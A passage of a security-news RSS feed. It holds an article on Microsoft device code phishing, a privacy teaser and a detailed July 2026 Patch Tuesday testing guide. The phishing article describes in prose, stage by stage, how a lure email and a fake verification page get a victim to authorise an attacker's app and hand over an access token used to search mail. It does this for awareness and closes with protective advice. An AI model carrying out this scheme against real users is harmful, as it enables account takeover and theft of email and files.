events.</p><blockquote><strong><em>Disclaimer:</em></strong><em> This article is part of my Active Directory Lab Series. All demonstrations were performed in my self-hosted GOAD lab for educational and defensive purposes. Never perform these techniques on systems without proper authorization.</em></blockquote><p><em>— Written by</em></p><p><strong>Aruvasaga Chithan A</strong></p><p><strong>Ethical Hacker &amp; Cyber Security Researcher.</strong></p><p><strong>Thanks for reading — your support keeps me writing.</strong><br><strong>See you in the next article…</strong></p><p><a href="http://www.linkedin.com/in/aruvasaga-chithan"><em>Linkedin</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=a86cc69aed5a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-escalated-to-domain-admin-using-ad-cs-and-how-to-fix-it-a86cc69aed5a">How I Escalated to Domain Admin Using AD CS (And How to Fix It)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without…]]></title>
<description><![CDATA[Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without Stealing Your PasswordThe most convincing Microsoft phishing attack yet. Learn how attackers abuse Microsoft’s trusted device authentication process, obtain access tokens instead of passwords, and why tra...]]></description>
<link>https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:11 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without Stealing Your Password</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7OVpY6KkTRyuVGErNrEOnw.png"></figure><p>The most convincing Microsoft phishing attack yet. Learn how attackers abuse Microsoft’s trusted device authentication process, obtain access tokens instead of passwords, and why traditional MFA awareness alone is no longer enough.</p><p>Have You Ever Come Across a Website Like This Below Screenshot? No fake Microsoft login pages. No stealing of passwords. No cloned authentication forms. No obvious browser warnings. Yes that’s device code phishing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IWV-Evt-XtPkaXDpCmwEVg.png"><figcaption>At first glance, this page looks completely legitimate.</figcaption></figure><p>It carries Microsoft’s branding, displays a verification code, and instructs users to continue their sign-in using the official Microsoft Device Login page. Unlike traditional phishing websites, there are no fake Microsoft login forms, no requests for your password, and no obvious signs that something is wrong.</p><p>So, it must be safe… right?</p><p>Not necessarily.</p><p>Device Code Phishing has become one of the most effective phishing techniques because it abuses Microsoft’s legitimate authentication workflow instead of attempting to steal usernames and passwords. Since users authenticate directly with Microsoft, many of the traditional warning signs associated with phishing are absent, making these attacks significantly more convincing.</p><p>In this article, the ThreatWatch360 team explains how Device Code Phishing works, why it is dangerous, and how attackers leverage this technique to gain unauthorized access to Microsoft 365 accounts without ever asking victims for their credentials.</p><h3>What is Device Code Authentication?</h3><p>Before understanding Device Code Phishing, it’s important to understand Device Code Authentication.</p><p>Microsoft introduced the Device Code Flow to allow devices with limited input capabilities, such as smart TVs, conference room devices, IoT devices, and command-line applications, to authenticate users.</p><p>Instead of entering credentials directly on the device, Microsoft generates a short verification code.</p><p>The user then visits Microsoft’s official Device Login page, enters the code, signs in with their Microsoft account, and authorizes the request.</p><p>The authenticated session is then linked back to the requesting application.</p><p>This workflow is completely legitimate and is widely used by Microsoft-supported applications.</p><p>Unfortunately, threat actors discovered they could abuse this authentication flow for phishing.</p><h3>How Device Code Phishing Works</h3><p>Unlike traditional phishing attacks, Device Code Phishing does <strong>not</strong> steal passwords.</p><p>Instead, it tricks victims into authorizing an attacker-controlled application using Microsoft’s own authentication infrastructure.</p><p>The result is that the attacker receives a valid Microsoft access token after the victim successfully authenticates.</p><p><strong>Stage 1 — The Phishing Email</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tAn7mYR2AdzzB3hwopRHjw.png"><figcaption>Initial Phishing Email</figcaption></figure><p>The attack usually begins with a convincing phishing email.</p><p>In our demonstration, the victim receives an email claiming that Microsoft detected unusual sign-in activity and encourages them to secure their account immediately.</p><p>The email closely resembles legitimate Microsoft security notifications, making it difficult for many users to distinguish between genuine and malicious messages.</p><p>Instead of directing users to a fake Microsoft login page, the email redirects them to an attacker-controlled website.</p><p>This subtle difference is what makes Device Code Phishing particularly dangerous.</p><p><strong>Stage 2 — The Fake Verification Portal</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AojoCLPiwGgkLGcDH88gRA.png"><figcaption>Device Code Phishing Page</figcaption></figure><p>After clicking the email link, the victim is presented with what appears to be a Microsoft verification portal.</p><p>The page displays:</p><ul><li>A Microsoft verification code</li><li>Instructions explaining how to complete authentication</li><li>A button that automatically opens Microsoft’s legitimate Device Login page</li></ul><p>Everything appears authentic.</p><p>Unlike credential phishing pages, this website never asks the user for their Microsoft username or password.</p><p>Instead, it simply instructs the user to authenticate through Microsoft itself.</p><p>This dramatically increases trust.</p><p><strong>Stage 3 — Redirecting to Microsoft’s Official Login Page</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vxT4KVaMxg7heCzDMx58Bg.png"><figcaption>Official Microsoft Device Login</figcaption></figure><p>Clicking the verification button redirects the victim to Microsoft’s official Device Login page.</p><p>Notice the URL.</p><p>The browser clearly displays Microsoft’s legitimate domain: login.microsoftonline.com</p><p>This is not a fake login page.</p><p>This is Microsoft’s real authentication portal.</p><p>Since users are interacting directly with Microsoft, many security-conscious individuals believe the request is legitimate.</p><p><strong>Stage 4 — Entering the Device Code</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wFq44SaoP4Gcy7Y_7QxXHA.png"><figcaption>Microsoft Device Authentication</figcaption></figure><p>The victim enters the code displayed on the phishing website into Microsoft’s official authentication page.</p><p>At this point, everything still appears normal.</p><p>The authentication process is entirely handled by Microsoft.</p><p>No passwords have been stolen.</p><p>No fake login page has been displayed.</p><p>Yet the attacker is already one step closer to gaining access.</p><p><strong>Stage 5 — Microsoft Requests Account Authorization</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-3m7P_UTRW5Zprk35ydVMA.png"><figcaption>Account Selection</figcaption></figure><p>Once the code is accepted, Microsoft asks the victim to select the account they wish to authorize.</p><p>Again, this occurs entirely on Microsoft’s legitimate infrastructure.</p><p>Nothing appears suspicious.</p><p>Most users assume they are completing a routine Microsoft verification process.</p><p><strong>Stage 6 — Granting Access</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ew9Rlt7lKtc3NSjGugG7CQ.png"><figcaption>Authorization Prompt</figcaption></figure><p>Microsoft now asks the user to confirm the authentication request.</p><p>The victim clicks <strong>Continue</strong>, believing they are protecting or verifying their Microsoft account.</p><p>Instead, they are unknowingly authorizing an attacker-controlled application.</p><p><strong>Stage 7 — Authentication Complete</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KyN4hx6sY5t0rM_KDsBFw.png"><figcaption>Successful Authorization</figcaption></figure><p>Microsoft confirms that authentication has completed successfully.</p><p>From the victim’s perspective, everything appears perfectly normal.</p><p>There are no error messages.</p><p>No warnings.</p><p>No indication that their Microsoft session has now been shared with someone else.</p><h4>Stage 8 — The Attacker Receives the Access Token</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QNu8X_BbbhhP4XFhhrqC6Q.png"><figcaption>Attacker Token Captured dashboard</figcaption></figure><p>Behind the scenes, the attacker’s phishing infrastructure immediately receives the Microsoft access token generated during the authentication process.</p><p>Unlike traditional phishing attacks, the attacker never needed the victim’s password.</p><p>Instead, they now possess a valid Microsoft authentication token issued directly by Microsoft.</p><p><strong>Stage 9 — Accessing Microsoft Resources</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hqRMWz0deomvWmiCV1QAag.png"><figcaption>Searching Microsoft Graph Data</figcaption></figure><p>Using the captured token, the attacker can begin interacting with Microsoft Graph APIs according to the permissions granted during authentication.</p><p>Depending on the permissions available, this may allow access to resources such as:</p><ul><li>Outlook email</li><li>OneDrive files</li><li>SharePoint data</li><li>Microsoft Teams information</li><li>Other Microsoft 365 resources</li></ul><p>In our demonstration, the captured token is used to search mailbox content, illustrating how quickly authenticated access can be abused after the victim completes the authorization process.</p><h3>Why Device Code Phishing Is So Effective</h3><p>Traditional phishing relies on fake login pages.</p><p>Device Code Phishing is different.</p><p>The victim authenticates directly with Microsoft.</p><p>Every important step occurs on Microsoft’s legitimate domain.</p><p>This removes many of the indicators users have been trained to recognize.</p><p>There are:</p><ul><li>No fake Microsoft login pages.</li><li>No stealing of passwords.</li><li>No cloned authentication forms.</li><li>No obvious browser warnings.</li></ul><p>Instead, attackers exploit the trust users place in Microsoft’s legitimate authentication process.</p><h3>Why This Matters</h3><p>Modern phishing campaigns are evolving beyond simple credential theft. By abusing legitimate authentication workflows, attackers can obtain valid access tokens without ever knowing a user’s password. This makes Device Code Phishing particularly attractive because it blends legitimate authentication with social engineering. Organizations relying solely on user awareness around fake login pages may find these attacks significantly more difficult to detect.</p><h3>How to Protect Yourself</h3><p>Although Device Code Authentication is a legitimate Microsoft feature, there are several ways users can protect themselves from Device Code Phishing attacks.</p><h4>Never authenticate unless you initiated the request.</h4><p>If you receive an unexpected email asking you to verify your Microsoft account using a device code, stop and verify the request before proceeding.</p><h4>Check why you are being asked to authenticate.</h4><p>Ask yourself:</p><ul><li>Did I start this login?</li><li>Am I trying to sign in on another device?</li><li>Was I expecting this authentication request?</li></ul><p>If the answer is no, do not continue.</p><h4>Be cautious of urgent security emails.</h4><p>Threat actors frequently use messages about unusual sign-in activity, account suspension, or urgent verification to pressure victims into acting quickly.</p><h4>Review recently authorized applications.</h4><p>Regularly review the applications connected to your Microsoft account and remove any unfamiliar or unnecessary authorizations.</p><h4>Revoke active sessions if you suspect compromise.</h4><p>If you believe you accidentally completed a Device Code Phishing request:</p><ul><li>Immediately sign out of all active Microsoft sessions.</li><li>Revoke recently granted application permissions.</li><li>Change your Microsoft account password.</li><li>Inform your organization’s IT or Security team.</li><li>Review your recent sign-in activity for any suspicious access.</li></ul><p>Acting quickly can significantly reduce the impact of token-based attacks.</p><h3>Conclusion</h3><p>Device Code Phishing demonstrates that modern phishing attacks no longer need to steal passwords to be successful.</p><p>By abusing Microsoft’s legitimate Device Code authentication workflow, attackers can trick users into authorizing malicious applications while every authentication step takes place on Microsoft’s official infrastructure.</p><p>This makes the attack highly convincing, difficult for users to recognize, and increasingly relevant in modern phishing campaigns.</p><p>Understanding how this technique works is the first step toward recognizing suspicious authentication requests and preventing unauthorized access to Microsoft 365 environments.</p><p>As attackers continue to shift toward token-based authentication abuse, user awareness remains one of the most effective defenses against these evolving phishing techniques.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=cfa189643f45" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without-cfa189643f45">Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Browser Leaks: 7 Ways to Protect Your Privacy Online]]></title>
<description><![CDATA[You may have heard the term “browser leaks” without really knowing what they are or why you should care–this article aims to change that. Today, we share seven essential tips on how to protect yourself from browser leaks, educate you on why it’s important to do so, plus recommend a few excellent ...]]></description>
<link>https://tsecurity.de/de/3677154/betriebssysteme/browser-leaks-7-ways-to-protect-your-privacy-online/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677154/betriebssysteme/browser-leaks-7-ways-to-protect-your-privacy-online/</guid>
<pubDate>Sat, 18 Jul 2026 00:24:43 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You may have heard the term “browser leaks” without really knowing what they are or why you should care–this article aims to change that. Today, we share seven essential tips on how to protect yourself from browser leaks, educate you on why it’s important to do so, plus recommend a few excellent VPNs to help […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/vpn/browser-leaks/">Browser Leaks: 7 Ways to Protect Your Privacy Online</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[July’s Patch Tuesday sees an end-of-support collision amidst a massive, record-setting patch wave]]></title>
<description><![CDATA[Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in Active Directory Federation Se...]]></description>
<link>https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</guid>
<pubDate>Fri, 17 Jul 2026 18:08:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview">Active Directory Federation Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155">CVE-2026-56155</a>), and an elevation of privilege in <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> Server (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>). A third, a <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) is publicly disclosed but not yet exploited.</p>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> earns Patch Now recommendations for Windows, Office, Exchange, and SQL Server. SharePoint has two critical RCEs on top of its exploited zero-day, and Exchange Server returns with a critical on-premises spoofing flaw. Adding to our (dear) administrator’s efforts, SharePoint Server 2016/2019 and SQL Server 2016 all reach end of support today. The Readiness team has provided a handy <a href="https://applicationreadiness.com/perspectives/assurance-security-dashboard-july-2026-patch-tuesday/">infographic</a> of the expected risk profile of this month’s Patch Tuesday updates.</p>



<h2 class="wp-block-heading">Known issues</h2>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July release note</a> flags known issues against the following updates:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> recovery prompt on first restart – the PCR7 recovery condition tracked since April remains live on the platforms that did not receive the Boot Manager servicing fix (Windows Server 2022 and Windows 10 22H2). Devices with BitLocker on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/trusted-boot">Secure Boot</a> State PCR7 Binding reported as “Not Possible” may be prompted for the recovery key on the first restart after installing this update. This month’s publicly disclosed BitLocker security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) keeps the component in focus.</li>
</ul>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a> synchronization error details suppressed (Windows Server 2025 and 2022) – WSUS no longer displays synchronization error details in its error reporting, a deliberate change made to address the Remote Code Execution Vulnerability <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287">CVE-2025-59287</a>. Sync still works, but administrators triaging a failed synchronization lose the detail pane and must fall back to the SoftwareDistribution logs.</li>
</ul>



<p class="wp-block-paragraph">Windows Update can still replace manually installed graphics drivers with older OEM versions from the catalogue (the four-part Hardware ID ranking issue acknowledged on the <a href="https://techcommunity.microsoft.com/blog/hardware-dev-center/updated-graphics-driver-publishing-policy-from-4-part-to-2-part-hwid--chid-targe/4519070">Hardware Dev Center</a>). The two-part HWID pilot runs to September 2026.</p>



<h2 class="wp-block-heading">Major revisions and mitigations</h2>



<p class="wp-block-paragraph">Between the June and July Patch Tuesdays, MSRC Security Update Guide notices updated 651 reported CVEs across six notification dates (15, 19, 26 June and 3, 8, 11 July), 532 of them routine Chromium upstream re-publications. Of the roughly 30 Microsoft revisions, almost all were cross-platform Office catch-up with no bearing on a Windows enterprise estate. No further action required for IT administrators for this Windows update cycle.</p>



<h2 class="wp-block-heading">Windows lifecycle and enforcement updates</h2>



<p class="wp-block-paragraph">This is the deadline cycle June pointed at. The July end-of-support wave lands today, and it collides with the month’s heaviest patching. <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a> take some of their most active security updates ever on platforms receiving their last.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2016">SharePoint Server 2016</a> and <a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2019">2019</a>, <a href="https://learn.microsoft.com/en-us/lifecycle/products/project-server-2016">Project Server 2016</a> and 2019, <a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2016">SQL Server 2016</a> and InfoPath 2013 have all reached end of support. SQL Server 2014 ESU Year 2 reaches end of support today. SharePoint 2016/2019 take an actively exploited zero-day and two RCEs this cycle, and SQL Server 2016 takes a critical RCE, all as their final security update. Now is the time to get moving on updating these platforms.</li>
</ul>



<p class="wp-block-paragraph">The 2011 Secure Boot certificate expiries have now passed; devices that never took the Windows UEFI CA 2023 key updates under <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24932">CVE-2023-24932</a> can no longer receive updated boot components, with the Windows Production PCA for the boot manager still ahead on 19 October 2026. <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview">Kerberos</a> RC4 hardening (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20833">CVE-2026-20833</a>) has been in enforcement since April 2026; the July 2026 update removes the RC4DefaultDisablementPhase rollback control that let administrators defer it, making enforcement final.</p>



<p class="wp-block-paragraph">Microsoft’s <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> is a security-only release: 180 test-guidance entries, 14 of them high risk (June had one). Printing and graphics are the centre of gravity: win32kfull.sys, the kernel-mode window manager, is the most-patched binary (14 entries), and seven high-risk flags sit alongside it – the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-spooler-components">Print Spooler</a>, four win32k entries, and two <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-gdi-start">GDI+</a> metafile entries. <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> is the second theme, with 10 entries, two high risk. Every entry reports no functional changes – it’s pure regression validation. The packages span Windows 11 26H1 back to Server 2012 ESU.</p>



<h2 class="wp-block-heading">Printing and graphics (high risk)</h2>



<p class="wp-block-paragraph">The Print Spooler flag centres on shared printers, whose queue status must track jobs accurately; the win32k flags cover 32-bit application printing, font rendering in printed and exported output, on-screen rendering, and window management; the GDI+ flags cover metafiles.</p>



<ul class="wp-block-list">
<li>Share a printer from a print server, print from a separate client in varied sizes and formats, and cancel a job, confirming the queue reflects every state change</li>



<li>Print from your 32-bit applications, and print text-heavy, graphics-heavy, and multi-page documents to physical and virtual (PDF or XPS) printers, repeating after orientation, scaling, and resolution changes</li>



<li>Export documents with varied fonts to PDF and confirm fonts and layout survive; render EMF+ files that apply effects to very large images, and convert EMF files to WMF</li>



<li>Open and close windows rapidly, drive common dialogs by mouse and keyboard, and close parents with children open – no orphaned windows</li>
</ul>



<h2 class="wp-block-heading">Storage and file systems (high risk)</h2>



<p class="wp-block-paragraph">Both NTFS high-risk flags target integrity – extended attributes, and volume recovery after an unexpected shutdown. File History carries its own high-risk flag on clients. A Windows Server 2025-only bundle across boot, <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a>, and <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> demands the full Secure Boot/BitLocker matrix. Eight entries hit Server 2025 alone, including WSL, GPU partitioning, and a scripted Windows Server Backup pass repeating recovery after rolling the date 90 days forward.</p>



<ul class="wp-block-list">
<li>Exercise NTFS extended attributes – older-system EAs, backup workflows that preserve them, concurrent same-file operations where supported – with antivirus, encryption, or storage filters active</li>



<li>Simulate an unexpected shutdown during file activity, verify the volume mounts intact, run chkdsk, and confirm indexing, shadow copies, and backup still work</li>



<li>Run a full File History pass: back up, modify and back up again, exclude folders, change frequency, move the destination</li>



<li>On Server 2025, boot all four Secure Boot/BitLocker combinations, in standard and confidential VMs where supported</li>
</ul>



<h2 class="wp-block-heading">Devices, input and networking (high risk)</h2>



<p class="wp-block-paragraph">Three further high-risk flags land here: HID input (hidparse.sys with win32k) – touch, keyboard, mouse, touchpad, through disconnects and restarts; the WinSock bundle (afd.sys plus Bluetooth and multicast drivers); and IrDA. The heaviest ask is not high risk at all: the NetAdapterCx driver (24H2/25H2, Server 2025) wants 500-plus adapter enable-disable cycles under Driver Verifier.</p>



<ul class="wp-block-list">
<li>Run the connectivity suite: browsing, large downloads, mapped drives, an RDP session idle 30+ minutes, a Teams call, an hour of streaming, and localhost apps such as Docker or WSL</li>



<li>Stress Bluetooth: pairing, 10+ minutes of audio, input after idle, and reconnection after sleep</li>



<li>Where infrared hardware exists, transfer a file and run at least 100 connect-disconnect cycles</li>



<li>Sweep the rest: DNS Server (zone data must stay under its configured database directory), the client resolver (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> Server (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview">SMB</a>, <a href="https://learn.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview">NFS</a>, Message Queuing (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/remote/remote-access/remote-access">RRAS</a> administration, client VPN, and WinHTTP/WinINet consumers</li>
</ul>



<h2 class="wp-block-heading">Other windows components</h2>



<p class="wp-block-paragraph">Windows Installer itself is patched: testing should include application install, uninstall, repair, and force a rollback. <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> wants virtual-switch traffic as part of its testing exercises with Virtual Filtering Platform policies enforced. Sixteen media-related security entries cover playback, HEVC and MPEG-TS, USB audio, and MIDI 2.0.</p>



<h2 class="wp-block-heading">Shell hardening and LSA isolation</h2>



<p class="wp-block-paragraph">These two entries are a little different from the rest of the cycle: they ask you to confirm a security behaviour actively works, not just that nothing regressed. A pass here means the protection fired, so treat them as functional checks rather than box-ticking.</p>



<ul class="wp-block-list">
<li>Shortcut handling (windows.storage.dll; Windows 11 23H2 and earlier, plus Server 2022): drop a shortcut file carrying the <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked">Mark of the Web</a> into a folder and confirm the system refuses to extract its icon and leaks no <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview">NTLM</a> credential hash – include the zero-click paths, where the icon would otherwise render without you opening anything</li>



<li>LSA isolation and KeyGuard (24H2/25H2, Server 2025): run the supplied PowerShell validation script, which turns on <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">Virtualization-based Security</a> if it isn’t already, exercises KeyGuard key operations in both required and best-effort isolation modes, and reports pass or fail – it needs TPM 2.0, UEFI with Secure Boot disabled, and PowerShell 7</li>



<li>Run that script on a dedicated test machine, never a shared one: it enables test signing, disables automatic updates, and reboots without asking</li>
</ul>



<h2 class="wp-block-heading">Office &amp; SharePoint</h2>



<p class="wp-block-paragraph">July’s <a href="https://learn.microsoft.com/en-us/office/">Office</a> wave is security-only; everything landed on 14 July, and nothing critical or non-security shipped in the 7 July preview. It’s an MSI-only cycle, so <a href="https://learn.microsoft.com/en-us/deployoffice/overview-office-deployment-tool">Click-to-Run</a> estates can sit this one out.</p>



<ul class="wp-block-list">
<li>On MSI Office 2016, apply the client updates – <a href="https://learn.microsoft.com/en-us/office/client-developer/excel/excel-home">Excel</a> (KB5002886), <a href="https://learn.microsoft.com/en-us/office/client-developer/word/word-home">Word</a> (KB5002890), PowerPoint (KB5002867), and five further Office 2016 security updates (<a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002273">KB5002273</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002887">KB5002887</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002748">KB5002748</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002857">KB5002857</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002830">KB5002830</a>) – then exercise macros, external data, embedded objects, and any line-of-business add-ins</li>



<li>On <a href="https://learn.microsoft.com/en-us/sharepoint/sharepoint-server">SharePoint Server</a>, patch 2016 (KB5002891, plus the KB5002892 language pack) and Subscription Edition (KB5002882), then check browser-based editing; the guidance lists SharePoint 2019 with a baseline but ships no 2019 package, so there is nothing to install there</li>
</ul>



<p class="wp-block-paragraph">Mind the rollback rules before you schedule the window: most client updates can be uninstalled, but the server updates cannot and always require a reboot.</p>



<h2 class="wp-block-heading">Developer tools &amp; databases</h2>



<p class="wp-block-paragraph">The developer estate gets a broad but low-drama sweep this month. Both .NET and SQL Server patch widely, but the ask is representative-application validation rather than anything exotic – install on the matching branch and confirm normal behaviour.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/dotnet/core/sdk">.NET</a>: install the SDK updates (8.0.423, 9.0.316, 10.0.302, x64 and x86) and the Framework rollups spanning 3.5 through 4.8.1 – which reach from Windows Server 2012 up to Windows 11 26H1 and Server 2025 – then run a representative set of applications and confirm they function normally</li>



<li><a href="https://learn.microsoft.com/en-us/sql/sql-server/">SQL Server</a>: the <a href="https://learn.microsoft.com/en-us/troubleshoot/sql/releases/servicing-models-sql-server">GDR</a> updates span 2016 SP3 through 2025 – install each on its matching branch and test that each removes cleanly</li>



<li>Check an encrypted client connection through the separately patched Windows SQL client (dbnetlib.dll), which ships outside the server branches</li>
</ul>



<p class="wp-block-paragraph">The Readiness team recommends the following priorities for your larger enterprise deployments:</p>



<ul class="wp-block-list">
<li>Start with printing and graphics: half the high-risk flags sit in the Print Spooler, win32k, and GDI+, so regress shared printers, 32-bit printing, PDF export, metafiles, and window management before anything else</li>



<li>Take NTFS next – extended attributes and crash recovery both touch data integrity – and add a client File History backup-and-restore pass</li>



<li>Give Server 2025 its wider matrix – the Secure Boot/BitLocker combinations, WSL, GPU partitioning, and the scripted backup pass – and work through the stress suites</li>



<li>Run the scripted KeyGuard validation on any <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">VBS</a> estate, preferably on a dedicated machine.</li>
</ul>



<p class="wp-block-paragraph">Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:</p>



<ul class="wp-block-list">
<li>Browsers (Microsoft IE and Edge)</li>



<li>Microsoft Windows (both desktop and server)</li>



<li>Microsoft Office</li>



<li>Microsoft Exchange and SQL Server</li>



<li>Microsoft Developer Tools (Visual Studio and .NET)</li>



<li>Adobe (if you get this far)</li>
</ul>



<h2 class="wp-block-heading">Browsers</h2>



<p class="wp-block-paragraph">Edge has had a busier month than usual. Microsoft addressed 46 <a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-for-business">Microsoft Edge</a> (Chromium-based) CVEs this cycle. None critical, but heavily weighted to remote code execution (21 entries) and spoofing (13), led by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289">CVE-2026-58289</a>, a remote code execution flaw. A run of further RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981">CVE-2026-57981</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645">CVE-2026-56645</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974">CVE-2026-57974</a>) follows.</p>



<ul class="wp-block-list">
<li>Microsoft Edge – the Edge-specific fixes ship in the Edge stable channel (version 150.0.4078.65, released 9 July). The concentration of RCE and spoofing this month is worth a look for managed Edge estates rather than a routine wave-through.</li>



<li>Chromium upstream – 427 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the June report: use-after-free, out-of-bounds read/write, type confusion, and inappropriate-implementation flaws across V8, Dawn, ANGLE, Skia, and Tint. The same fixes ship in the Chrome Stable channel; see the <a href="https://chromereleases.googleblog.com/">Chrome releases blog</a> for the upstream notes.</li>
</ul>

